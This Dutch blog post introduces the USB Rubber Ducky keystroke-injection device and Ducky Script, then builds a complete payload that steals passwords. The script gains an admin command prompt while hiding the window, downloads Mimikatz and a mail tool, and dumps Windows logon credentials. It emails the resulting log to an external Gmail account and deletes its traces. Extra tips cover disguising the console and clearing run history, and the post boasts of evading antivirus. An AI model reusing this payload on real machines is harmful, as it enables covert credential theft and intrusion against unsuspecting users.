Een tool die in geen enkele hackerskit mag ontbreken is de USB Rubber Ducky (te koop bij de Hak5 Webshop). De USB Rubber Ducky is een klein apparaatje dat eruit ziet als een USB Drive. Maar niets is minder waar. Deze “USB Drive” heeft een speciale chipset waarmee een toetsenbord geëmuleerd wordt. Op de chipset zit een Micro SD slot waar (uiteraard) een Micro SD kaartje in gaat. Op dit USB kaartje staat de payload/code welke door de chipset omgezet wordt in “toetsaanslagen”. Als de USB Rubber Ducky dus in een PC gedaan wordt dan worden de commando’s automatisch ingetypt alsof het een echt toetsenbord was waar iemand achter zat (Mr Robot style zoals in Season 2 Episode 9).

Think of all the possibilities…!

DE VOORDELEN VAN DE USB RUBBER DUCKY:

  • Ziet eruit als een normale USB Drive
  • In & Out, binnen 60 seconde is het werk geklaard
  • Werkt op elk OS en device met USB poort en toetsenbord herkenning
  • Snelheid, meer dan 1000 woorden per minuut
  • Uitbreidbaar geheugen
  • Wordt niet herkend door virusscanners (het is een HID device en virusscanners vertrouwen nu eenmaal HID devices)

De USB Rubber Ducky bestaat al sinds 2010 en is uitermate geschikt voor “social engineering” doeleinden. Hij is heerlijk universeel en doeltreffend. Daarnaast is de programmeercode kinderachtig simpel en zijn er online zeer veel kant-en-klare payloads en tools te vinden zoals een eigen “custom” payload generator.

 

RUBBER DUCK CODE

De code (Ducky Script) voor de USB Rubber Ducky is simpel en is gewoon in Notepad, vi of TexstEdit te schrijven. Een paar richtlijnen:

  • Regel georiënteerd. Elk commando staat dus op een andere regel
  • Commando’s worden geschreven met hoofdletters
  • Zet “REM” voor de regel om een opmerking te plaatsen
  • Zet “STRING” voor de regel om 1 of meerdere letters te typen (tekst)
  • Gebruik een “DELAY” voor het activeren van een pauze (tijd in milliseconden)
  • Een “enter” doe je middels het “ENTER” commando
  • De “Windows” button activeer je middels het “WINDOWS” of “GUI” commando
  • De “Alt” button activeer je middels het “ALT” commando
  • De “Shift” button activeer je middels het “SHIFT” commando
  • De pijltjestoetsen activeer je als volgt “LEFTARROW” – “UPARROW”
  • Combineren van commando’s is mogelijk door deze met een spatie van elkaar te scheiden. “ALT F4” of bijvoorbeeld “ALT TAB”
  • Etc…

 

Nadat je klaar bent om je payload te testen moet je deze eerst compilen. Na het compilen krijg je een “inject.bin” bestand welke je op de Micro SD moet kopiëren welke je weer in de USB Rubber Ducky plaatst. Om je code te compilen kun je gebruik maken van de DuckEncode. De DuckEncode is een Java compiler welke op vrijwel elk OS werkt. Het aanroepen van de encoder is simpel. Op een Linux systeem gaat dit als volgt:

java -jar duckencoder.jar -i exploit.txt -o /media/microsdcard/inject.bin

Wat misschien nog makkelijker werkt is het online encoden van je scripts. Het online encoden kan via de volgende pagina: http://ducktoolkit-411.rhcloud.com/Encoder.jsp

Een klein script ziet er dan als volgt uit:

ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
ENTER
DELAY 100
STRING shutdown /r /t 1
ENTER
DELAY 100

In dit script activeren we de command prompt en voeren we het commando “shutdown /r /t 1” in om de computer te rebooten. Na het inpluggen van de USB Rubber Ducky zal de PC dus binnen 10 seconden rebooten. Altijd een leuke grap om uit te halen bij collega’s toch  Maar dit is slechts het topje van de ijberg qua mogelijkheden. Denk eens aan alle informatie die we kunnen achterhalen door niets anders te doen dan het inpluggen van de Ducky. Sit back and relax… de Ducky verzamelt automatisch een hele hoop data of installeert automatisch de gewenste payload.

https://jarnobaselier.nl/wp-content/uploads/2099/08/USB-Rubber-Ducky-4-300x378.jpg 300w, 

RUBBER DUCKY PASSWORD STEALER SCRIPT

Om de kracht en effectiviteit van de USB Rubber Ducky goed in beeld te brengen gaan we een script bouwen om wachtwoorden van een computer te achterhalen. Dit script bouwen we op in verschillende stukken en is gebaseerd op het Ducky script van “Pesce” maar dan met wat verbeteringen.

1. We willen de command prompt openen met Admin Privileges. Dit scherm schuiven we ook naar onderen zodat niemand ziet wat er gebeurt. Dit doen we als volgt:

REM |***Wacht 3 seconden***|
DELAY 1000
REM |***Sluit alle schermen***|
CONTROL ESCAPE
REM |***Wacht 2 seconden***|
DELAY 1000
REM |***Zoek naar taskmanager***|
STRING taskmgr
REM |***Wacht 1 seconde***|
DELAY 300
ENTER
DELAY 300
ALT s
DELAY 1000
REM |***Open CMD in admin mode***|
CTRL ENTER
REM |***Wacht 1 seconde***|
DELAY 1000
REM |***Antwoord “Ja” als de vraag van UAC komt of CMD werkelijk met admin privileges uitgevoerd moet worden***|
ALT y
REM |***Wacht 1 seconde***|
DELAY 1000
REM |***Geef een enter en wacht 1 seconde***|
ENTER
DELAY 1000
REM |***Schuif het scherm helemaal naar onderen***|
ALT SPACE
DELAY 1000
STRING r
DOWNARROW
REPEAT 100
ENTER
DELAY 1000

2. Vervolgens downloaden we de juiste software en installeren te deze in de temporary user folder.

REM |***Download MimiKatz in %TEMP%\pw.zip'***|
STRING powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/gentilkiwi/mimikatz/releases/download/2.1.0-alpha-20160808/mimikatz_trunk.zip','%TEMP%\pw.zip')
ENTER
REM |***Wacht 7 seconden***|
DELAY 5000
REM |***Download Unzip.exe***|
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://stahlworks.com/dev/unzip.exe','%TEMP%\unzip.exe')
ENTER
REM |***Wacht 7 seconden***|
DELAY 5000
REM |***Download MailSend.zip***|
STRING powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/muquit/mailsend/releases/download/1.19/mailsend1.19.exe.zip','%TEMP%\mailsend.zip')
ENTER
REM |***Wacht 7 seconden***|
DELAY 5000
REM |***Pak het bestand %TEMP%\pw.zip uit in %TEMP%\kiss ***|
STRING %TEMP%\unzip.exe -o -qq %TEMP%\pw.zip -d %TEMP%\kiss
ENTER
REM |***Wacht 4 seconden***|
DELAY 3000
REM |***Pak het bestand %TEMP%\mailsend.zip uit in %TEMP%\mailsend ***|
STRING %TEMP%\unzip.exe -o -qq %TEMP%\mailsend.zip -d %TEMP%\mailsend
ENTER
REM |***Wacht 4 seconden***|
DELAY 3000

3. Omdat MimiKatz in een x86 en een x64 variant gedownload wordt moeten we uitzoeken met welke architectuur de PC werkt. Vervolgens starten we de juiste versie van MimiKatz op en starten we de logger op welke een pwlog.txt logbestand aanmaakt op C:\.

STRING IF EXIST "%PROGRAMFILES(X86)%" (%TEMP%\kiss\x64\mimikatz.exe > c:\pwlog.txt & type pwlog.txt;) ELSE (%TEMP%\kiss\Win32\mimikatz.exe > c:\pwlog.txt & type pwlog.txt;)
ENTER
DELAY 1000

4. We configureren MiMiKatz om de wachtwoorden te achterhalen en in het logbestand weg te schrijven.

REM |***Start de MimiKatz debug mode op***|
STRING privilege::debug
ENTER
REM |***Wacht 1 seconde***|
DELAY 1000
REM |***Log alle wachtwoorden***|
STRING sekurlsa::logonPasswords full
ENTER
REM |***Wacht 1 seconde***|
DELAY 1000
REM |***Verlaat MimiKatz***|
STRING exit
ENTER
REM |***Wacht 0.3 seconden***|
DELAY 300

5. Even alle temporary bestanden opruimen want die hebben we toch niet meer nodig

STRING del %TEMP%\pw.zip
ENTER
DELAY 1000
STRING del %TEMP%\unzip.exe
ENTER
DELAY 1000
STRING del %TEMP%\mailsend.zip
ENTER
DELAY 1000
STRING rmdir /s /q "%TEMP%\kiss"
ENTER
DELAY 1000

6. Het logbestand is nu op de PC aanwezig. Het is nu zaak om deze te e-mailen zodat je automatisch over alle wachtwoorden beschikt. Dit e-mailen doen we via het gedownloade “sendmail”. Let op. Als je Gmail gebruikt (zoals in onderstaande voorbeeld) moet je de “Less Secure Apps” onder account instellingen van het gebruikte account instellen op “Enabled”. De dikgedrukte gegevens dienen aangepast te worden naar je eigen gegevens.

%TEMP%\mailsend\mailsend1.19.exe -smtp smtp.gmail.com -port 465 -ssl -auth -t <strong>email-ontvanger</strong> -f <strong>This email address is being protected from spambots. You need JavaScript enabled to view it.</strong> 
-sub "Ducky Password Report" -attach "C:\pwlog.txt" -user "<strong>This email address is being protected from spambots. You need JavaScript enabled to view it.;/strong>" -pass "<strong>wachtwoord</strong>" -v +cc +bc

7. Ruim ook het logbestand op (leave no traces) en sluit de command prompt. Tenslotte ze je alle schermen weer open alsof er nooit iets gebeurt is.

REM |***Delete mailsend folder***|
STRING rmdir /s /q "%TEMP%\mailsend"
ENTER
DELAY 300
REM |***Delete logfile***|
STRING del c:\pwlog.txt
ENTER
DELAY 300
REM |***Sluit de command prompt***|
STRING exit
ENTER
DELAY 300
REM |***Sluit taskmanager***|
ALT F4
DELAY 300
REM |***Zet alle gesloten schermen weer open***|
CONTROL ESCAPE

8. Het complete script ziet er dan als volgt uit:

REM Author: Jarno Baselier
REM Date: 10/08/2016
REM Note: Thanks to Pesce and all the others!
REM -------------open command prompt with admin privileges
DELAY 1000
CONTROL ESCAPE
DELAY 1000
STRING taskmgr
DELAY 300
ENTER
DELAY 300
ALT s
DELAY 1000
CTRL ENTER
DELAY 1000
ALT SPACE
DELAY 1000
STRING r
DOWNARROW
REPEAT 100
ENTER
DELAY 1000
REM -------------download mimikatz zip + unzip
STRING powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/gentilkiwi/mimikatz/releases/download/2.1.0-alpha-20160808/mimikatz_trunk.zip','%TEMP%\pw.zip')
ENTER
DELAY 5000
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://stahlworks.com/dev/unzip.exe','%TEMP%\unzip.exe')
ENTER
DELAY 5000
STRING powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/muquit/mailsend/releases/download/1.19/mailsend1.19.exe.zip','%TEMP%\mailsend.zip')
ENTER
DELAY 5000
STRING %TEMP%\unzip.exe -o -qq %TEMP%\pw.zip -d %TEMP%\kiss
ENTER
DELAY 3000
STRING %TEMP%\unzip.exe -o -qq %TEMP%\mailsend.zip -d %TEMP%\mailsend
ENTER
DELAY 3000
REM -------------Check Architecture & run Mimikatz
STRING if exist "%PROGRAMFILES(X86)%" (%TEMP%\kiss\x64\mimikatz.exe > c:\pwlog.txt & type pwlog.txt;) ELSE (%TEMP%\kiss\Win32\mimikatz.exe > c:\pwlog.txt & type pwlog.txt;)
ENTER
DELAY 3000
REM -------------get the passwords
STRING privilege::debug
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 300
STRING del %TEMP%\pw.zip
ENTER
DELAY 1000
STRING del %TEMP%\unzip.exe
ENTER
DELAY 1000
STRING del %TEMP%\mailsend.zip
ENTER
DELAY 1000
STRING rmdir /s /q "%TEMP%\kiss"
ENTER
DELAY 1000
REM -------------email log via gmail
STRING %TEMP%\mailsend\mailsend1.19.exe -smtp smtp.gmail.com -port 465 -ssl -auth -t email-ontvanger -f This email address is being protected from spambots. You need JavaScript enabled to view it. 
-sub "Ducky Password Report" -attach "C:\pwlog.txt" -user "This email address is being protected from spambots. You need JavaScript enabled to view it." -pass "wachtwoord" -v +cc +bc  
ENTER
DELAY 3000
REM ---------------------delete and end
STRING rmdir /s /q "%TEMP%\mailsend"
ENTER
DELAY 300
STRING del c:\pwlog.txt
ENTER
DELAY 300
STRING exit
ENTER
DELAY 300
ALT F4
DELAY 300
CONTROL ESCAPE

EXTRA TIP 1 – EXTRA ONOPVALLEND:

Een andere truck om de command prompt nog onopvallender te maken is door het toevoegen van de volgende code:

STRING mode con:cols=18 lines=1
ENTER
STRING color FE
ENTER

“mode con:cols=18 lines=1” zorgt ervoor dat de command prompt 18 kolommen breed wordt en slechts 1 lijn hoog. “color FE” zorgt ervoor dat de achtergrond wit wordt en de tekst geel. Deze combinatie zorgt ervoor dat de command prompt volledig blindeert in het scherm en lijkt op een normaal en klein venster. Geen enke “hacker style” box maar een vriendelijk klein schermpje 

EXTRA TIP 2 – CLEARING YOUR TRACKS:

Command prompt is niet zoals bash in Linux. En dat is een voordeel. Ingevoerde commando’s blijven dus niet bewaard. Echter de ingevoerde commando’s in de “run” box blijven wel bewaard. Deze worden bewaard in een registersleutel. Het is wel net zo netjes om ook deze even leeg te gooien en dat doen we zo via Powershell:

STRING powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
ENTER
STRING exit
ENTER

CONCLUSIE:

De USB Rubber Ducky is een fantastische tool voor social engineering technieken en om simpelweg complexe taken te vergemakkelijken. De USB Rubber Ducky wordt niet vaak geblokkeerd door virusscanners en ook voor de zeldzame keren dat dit wel gebeurt zijn speciale firmware versies te verkrijgen die dan niet herkent worden. Het nadeel is dat je vaak tools gebruikt die door virusscanners als “schadelijk” worden aangemerkt. Zo zullen veel virusscanners de MimiKatz tool blokkeren die we in bovenstaande script gebruiken. Ook zit er nogal wat verschil in toetsenbord layouts, OS talen en responstijden van computers. Je moet dus heel goed weten op welk OS, taal en toetsenbord indeling je je script gaat lanceren. Als deze zaken niet overeenkomen dan is de kans groot dat het script mislukt en veel ongewenste schermen opent die vervolgens niet meer sluiten en waarmee je je aanwezigheid dus juist “verraad”. Maar als je wel weet waarop je je script gaat toepassen en je test dit script vooraf goed dan kan de USB Rubber Ducky een onmisbare tool zijn in de toolkit van een hacke… uhhh systeembeheerder !

Bron: jarnobaselier.nl